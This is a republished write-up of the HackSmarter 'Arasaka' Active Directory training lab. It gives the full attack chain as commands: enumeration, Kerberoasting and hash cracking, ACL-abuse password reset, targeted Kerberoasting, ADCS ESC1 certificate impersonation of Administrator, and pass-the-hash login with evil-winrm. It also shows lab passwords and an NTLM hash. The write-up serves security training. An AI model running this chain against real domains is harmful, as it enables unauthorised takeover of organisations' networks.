HackSmarter Arasaka AD Lab Writeup
文章介绍了一个网络安全实验室演练,参与者通过初始枚举、滥用ACL权限、Kerberoasting攻击和ADCS漏洞等技术,在Active Directory环境中实现从普通用户到域管理员的权限提升。 2025-12-17 06:27:42 Author: infosecwriteups.com(查看原文) 阅读量:7 收藏

Avyukt Security

Press enter or click to view image in full size

By: Vedant Bhalgama (@ActiveXSploit)

  • HackSmarter is a new cybersecurity learning platform created by Tyler Ramsbey. It offers courses, hands-on labs, and more — an excellent place to sharpen your skills. In this blog, we’ll be diving into a full walkthrough of an Active Directory–themed lab called Arasaka on the platform. From the initial enumeration all the way to gaining Domain Admin, I’ll guide you through every step in detail.
  • The lab is built around an assumed-breach scenario where we’re given initial credentials to start with. From there, it focuses on abusing misconfigured ACL permissions to move laterally across multiple accounts and ultimately exploiting ADCS vulnerabilities to escalate privileges to Domain Admin.
  • Room Link: https://www.hacksmarter.org/courses/f618f837-3060-40a3-81cf-31beeaadf37a

-0x01: Initial Recon

  • As always, I began with a basic Nmap scan to identify the open ports and running services on the target. This helps us map out the attack surface and understand where to focus our efforts. Since the target is a domain controller, the scan revealed the following services running:
  • DNS (53)
  • SMB (445)
  • RPC (135)
  • RDP (3389)
  • Kerberos (88)
  • WinRM (5985)
sudo nmap -p- -sC -sV 10.1.167.43 -oN nmap/arasaka-aggressive.out 
  • Since this was an assumed-breach scenario, I used the initial credentials provided to begin enumerating the available services. These credentials belonged to the user account “faraday”.
  • I first tried spraying the credentials against RDP and WinRM to check whether we had direct access to the domain controller through either protocol, but that didn’t work. I then shifted my attention to SMB and enumerated all available shares. According to NXC’s output, only the default shares were present on the DC. However, we did have read access to the IPC$ share, which means we can later leverage it to dump a list of domain users.

Press enter or click to view image in full size

Using NXC to list all SMB shares on the DC
nxc smb 10.1.167.43 -u faraday -p 'hacksmarter123' --shares
  • Next, we used impacket’s lookupsids.py script in order to dump a list of valid users and groups on the domain.

Press enter or click to view image in full size

impacket-lookupsids.py to dump a list of valid users and groups on the domain
impacket-lookupsid 'faraday':'hacksmarter123'@hacksmarter.local >> lookupsid.out
  • I then filtered out the output to extract only the usernames and save them in a separate file using a bit of Linux-Fu ;)

Press enter or click to view image in full size

Combination of grep and cut in order to filter and extract only the valid usernames
cat lookupsid.out | grep SidTypeUser | cut -d ":" -f 2 | cut -d "\\" -f 2 | cut -d "(" -f 1 > valid_users.tx
  • My next step was to run BloodHound to identify possible lateral movement paths. I used bloodhound-python to query the domain controller over LDAP and collect the necessary information.

Press enter or click to view image in full size

Bloodhound-Python to query the DC for discovering potential attack paths
bloodhound-python -u 'faraday' -p 'hacksmarter123' -c all -ns 10.1.167.43 -d hacksmarter.local
  • While reviewing the BloodHound results, I found a service account named alt.svc that had one outbound object control. I then shifted my focus to performing a Kerberoasting attack to obtain the TGS hash for this service account and determine whether it could give us an opportunity for lateral movement within the domain.

-0x02: Performing Kerberoasting to retrieve alt.svc’s TGS hash

Press enter or click to view image in full size

Impacket-GetUserSPNs to perform Kerberoasting
impacket-GetUserSPNs hacksmarter.local/'faraday':'hacksmarter123' -request -dc-ip 10.1.167.43
  • I then used JohnTheRipper to crack the retrieved TGS hash. Within a minute, it successfully revealed the service account’s password, which turned out to be babygirl1. With valid credentials in hand, the next step was to examine the outbound object control associated with this account and determine what privileges it held.

Press enter or click to view image in full size

Using JohnTheRipper to crack the TGS hash
john --wordlist=/usr/share/wordlists/rockyou.txt alt_svc_hash
  • After reviewing the BloodHound data, I discovered that the alt.svc account had GenericAll rights over another user, yorinobu. This meant we could reset that user’s password and fully take over the account. Checking the outbound object control for yorinobu revealed that it, in turn, had GenericWrite rights over another account named soulkiller.svc. With that level of access, we could perform a targeted Kerberoast attack on this account and attempt to crack its TGS hash.

-0x03: Abusing GenericAll rights to gain access to “yorinobu”’s account -

Press enter or click to view image in full size

alt.svc account having GenericAll rights over “yorinobu”
  • Hence, I next used RPCClient in order to log in as alt.svc, and then change the password for “yorinobu”.
  • Yorinobu was also a member of both the “Remote Desktop Users” and “Remote Management Users” groups, which meant we could log in to the Domain Controller via RDP or WinRM and establish our initial foothold.

Press enter or click to view image in full size

Using rpcclient in order to change password for yorinobu
rpcclient -U='alt.svc' hacksmarter.local

Press enter or click to view image in full size

yorinobu having the rights to access the DC over WinRM or RDP
nxc rdp hacksmarter.local -u 'Yorinobu' -p 'Yorin@123'

nxc winrm hacksmarter.local -u 'Yorinobu' -p 'Yorin@123'

  • Next, I connected to the Domain Controller as Yorinobu over RDP to establish an initial foothold.

Press enter or click to view image in full size

Initial foothold on the DC as yorinobu
  • I then shifted my attention to gaining access to the soulkiller.svc account. Looking back at the second BloodHound attack path, yorinobu had GenericWrite rights over this account. This allowed us to perform a targeted Kerberoasting attack by adding a Service Principal Name (SPN) to the target account, retrieving its TGS hash, and then removing the SPN afterwards to return everything to its original state.
  • Apart from this, I also observed that the description of the “soulkiller.svc” account stated that it is used to manage certificates in the domain, which hinted towards the usage of ADCS within the domain.

Press enter or click to view image in full size

yorinobu having GenericWrite rights over the soulkiller.svc account
  • In order to verify whether if ADCS existed, I ran the following command on the domain controller to list active CA (Certification Authority) servers in the domain.

Press enter or click to view image in full size

Running certutil to list active CA Servers in the domain
certutil -config - -ping
  • And as expected, a Certificate Authority server was present in the environment — in fact, the Domain Controller itself. The CA (Certification Authority) name was hacksmarter-DC01-CA.

-0x04: Abusing GenericWrite rights to gain access to perform a targeted Kerberoasting attack -

  • Next, I carried out a targeted Kerberoast attack against the soulkiller.svc account using targetedKerberoast.py and successfully obtained its TGS hash.

Press enter or click to view image in full size

Using targettedKerberoast.py to retrieve the TGS hash of soulkiller.svc account

Press enter or click to view image in full size

python3 targetedKerberoast.py -v -d 'hacksmarter.local' -u 'yorinobu' -p 'Yorin@123'
  • Once again, I used JohnTheRipper to crack the TGS hash, and within a minute, I had the clear-text password on my screen. Which turned out to be MYpassword123#.

Press enter or click to view image in full size

Using JohnTheRipper to crack the TGS hash of soulkiller.svc account
john --wordlist=/usr/share/wordlists/rockyou.txt soulkiller.svc.hash

Press enter or click to view image in full size

Using NXC to verify the credentials of soulkiller.svc account
nxc smb 10.1.167.43 -u soulkiller.svc -p 'MYpassword123#'

-0x05: Abusing ADCS ESC1 to escalate to Domain Admin -

  • Since the soulkiller.svc account was involved in certificate management, I ran Certipy to look for any certificate template vulnerabilities that could potentially be exploited to escalate privileges to Domain Administrator.

Press enter or click to view image in full size

Running certipy to identify any vulnerable ADCS certificate templates
certipy find -u '[email protected]' -p 'MYpassword123#' -vulnerable -stdout -dc-ip 10.1.167.43 -enabled
  • Reviewing the output, I found a certificate template named AI_Takeover that was vulnerable to ADCS ESC1. The soulkiller.svc account had permission to enroll in this template and was also allowed to specify a Subject Alternative Name when requesting a certificate. The template’s EKU included Client Authentication, which meant we could leverage it to authenticate to the Domain Controller and obtain the NTLM hash of a Domain Administrator account.

Press enter or click to view image in full size

Press enter or click to view image in full size

  • I then used Certipy again to request a certificate from the AI_Takeover template, specifying the Administrator account as the Subject Alternative Name (SAN) and using hacksmarter-DC01-CA as the CA name.

Press enter or click to view image in full size

Using certipy in order to request a certificate for the Administrator account (ESC1 Abuse)
certipy req -u '[email protected]' -p 'MYpassword123#' -template "AI_Takeover" -upn "[email protected]" -ca "hacksmarter-DC01-CA" -dc-ip 10.1.167.43
  • Next, I used certipy again, but this time with the auth module, to authenticate to the domain controller and retrieve the NTLM hash of the Administrator account.

Press enter or click to view image in full size

Using certipy to retrieve the NTLM hash of the Administrator account
certipy auth -pfx administrator.pfx -dc-ip 10.1.167.43
  • With the Administrator’s NTLM hash in hand, I used Evil-WinRM to gain access to the Domain Controller as the Administrator, resulting in a complete domain compromise.

Press enter or click to view image in full size

Using evil-winrm to establish a WinRM session to the DC leading to a full domain compromise
evil-winrm -i hacksmarter.local -u Administrator -H 4366ec0f86e29be2a4a5e87a1ba922ec

And with that, the lab was fully compromised — from the initial foothold to the lateral movement chain and finally achieving full domain compromise. Hope you enjoyed the walkthrough! Make sure to subscribe to Avyukt Security to stay updated with the latest cybersecurity content.

Get Avyukt Security’s stories in your inbox

Join Medium for free to get updates from this writer.

Happy Hacking!


文章来源: https://infosecwriteups.com/hacksmarter-arasaka-ad-lab-writeup-b57d7e0b5e48?source=rss----7b722bfd1b8d---4
如有侵权请联系:admin#unsafe.sh